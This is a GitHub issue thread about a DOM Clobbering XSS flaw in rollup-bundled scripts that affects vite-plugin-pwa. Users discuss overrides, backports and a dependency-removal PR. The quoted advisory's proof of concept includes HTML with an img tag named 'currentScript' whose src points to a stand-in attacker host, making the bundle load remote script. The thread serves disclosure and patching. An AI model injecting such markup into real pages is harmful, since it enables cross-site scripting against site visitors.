Dependency 'rollup' vulnerability: DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

fabianszabo commented 2 months ago

Dev dependency in vite-plugin-pwa: "rollup": "^4.4.1",

Patched version 4.22.4

The dependency "workbox-build" also includes this vulnerability:

https://github.com/GoogleChrome/workbox/issues/3354

Summary

A DOM Clobbering vulnerability was discovered in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that similar issues in other popular bundlers like Webpack (CVE-2024-43788) have been reported, which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in `rollup`

A DOM Clobbering vulnerability in rollup bundled scripts was identified, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
    getResolveUrl(
        `'${escapeId(relativePath)}', ${
            umd ? `typeof document === 'undefined' ? location.href : ` : ''
        }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
    );

const getUrlFromDocument = (chunkId: string, umd = false) =>
    `${
        umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
        chunkId
    )}', document.baseURI).href)`;

leeobrum commented 2 months ago

I have the same problem

userquin commented 2 months ago

can you try overriding rollup on your local via overrides, resolutions or pnpm.overrides?

fabianszabo commented 2 months ago

I don't think overriding the version would solve the issue, as a major update is required. I took a few minutes to see if I can just update the dependency within workbox-build, but the update needs more time then I can invest in it right now.

I'll check out if I can backport the fix to rollup v2.

Vite will have this fixed soon:

https://github.com/vitejs/vite/pull/18180

├─┬ vite-plugin-pwa@0.20.5
│ └─┬ workbox-build@7.1.1
│   ├─┬ @rollup/plugin-babel@5.3.1
│   │ ├─┬ @rollup/pluginutils@3.1.0
│   │ │ └── rollup@2.79.1 deduped
│   │ └── rollup@2.79.1 deduped
│   ├─┬ @rollup/plugin-node-resolve@15.2.3
│   │ ├─┬ @rollup/pluginutils@5.1.0
│   │ │ └── rollup@4.21.2 deduped
│   │ └── rollup@4.21.2 deduped
│   ├─┬ @rollup/plugin-replace@2.4.2
│   │ └── rollup@2.79.1 deduped
│   ├─┬ @rollup/plugin-terser@0.4.4
│   │ └── rollup@4.21.2 deduped
│   └── rollup@2.79.1
└─┬ vite@5.4.7
  └── rollup@4.21.2

danny-avila commented 2 months ago

I put it in overrides, bumped vite-plugin-pwa and then ran npm audit fix to address the workbox dependency with the same issue. PR to my repo here: https://github.com/danny-avila/LibreChat/pull/4226

Everything seems to be working fine and the offending rollup version is no longer listed in package-lock.json as exhibited here: https://github.com/danny-avila/LibreChat/security/dependabot/11

Only noticed that I now have a new warning when building with vite (I use manualChunks beforehand and never had this warning):

Unknown input options: manualChunks. Allowed options: cache, context, experimentalCacheExpiry, experimentalLogSideEffects, external, input, logLevel, makeAbsoluteExternalsRelative, maxParallelFileOps, moduleContext, onLog, onwarn, perf, plugins, preserveEntrySignatures, preserveSymlinks, shimMissingExports, strictDeprecations, treeshake, watch

correct me if I'm wrong, but @userquin was likely just recommending this as a workaround until the dependency is upgraded for this package, then properly tested and released.

fabianszabo commented 2 months ago

@danny-avila Thanks for sharing! It surprisingly works fine. I still managed to install my pwa after the override. 🚀

Ofc kudos to @userquin too. I dismissed the solution too soon. Sorry!

userquin commented 2 months ago

I'm preparing a PR removing rollup, we only need some types (checking if Vite re-exporting rollup types), once the PR here you will be able to use the pkg-pr-new link in your repository.

The main problem, if it is a breaking change since we support from Vite 3 to Vite 5.

userquin commented 2 months ago

@fabianszabo @danny-avila you can use pnpm add -D https://pkg.pr.new/vite-plugin-pwa@759 (update the corresponding package manager), linked PR without Rollup dev dependency.

jason5ng32 commented 2 months ago

Got the same issue...

b-maslennikov commented 1 month ago

for some reason I did manage to fix this issue with npm audit fix... yday it didn't work...

fabianszabo commented 1 month ago

Maybe because we backported the fix to rollup version 2.79.2: https://github.com/rollup/rollup/releases/tag/v2.79.2

See commits here: https://github.com/rollup/rollup/commits/v2.79.2/

When using "overrides" this version might be "more compatible".

userquin commented 1 month ago

Tested types, so the PR seems to fix the problem on fresh repo without using overrides or resolutions: pnpm create @vite-pwa/pwa with VanillaJS and TypeScript, replacing "vite-plugin-pwa": "^0.20.0" with "vite-plugin-pwa": "https://pkg.pr.new/vite-plugin-pwa@759" before installing dependencies, it is using Rollup 4.23.0.

fabianszabo commented 1 month ago

Tested types, so the PR seems to fix the problem on fresh repo without using overrides or resolutions: pnpm create @vite-pwa/pwa with VanillaJS and TypeScript, replacing "vite-plugin-pwa": "^0.20.0" with "vite-plugin-pwa": "https://pkg.pr.new/vite-plugin-pwa@759" before installing dependencies, it is using Rollup 4.23.0.

👍🏼

For anyone wanting to use the PR: Be aware that it no longer supports Vite 3.

The main problem, if it is a breaking change since we support from Vite 3 to Vite 5.

edit: fix typo

userquin commented 1 week ago

v0.21.0 with wrong rollup version in the package (pnpm.overrides).

I'm going to update the pnpm.overrides, we're using workbox 7.3.0, when using old Vite version, the XSS vulnerability should be fixed overriding rollup with >=4.22.4

vite-pwa / vite-plugin-pwa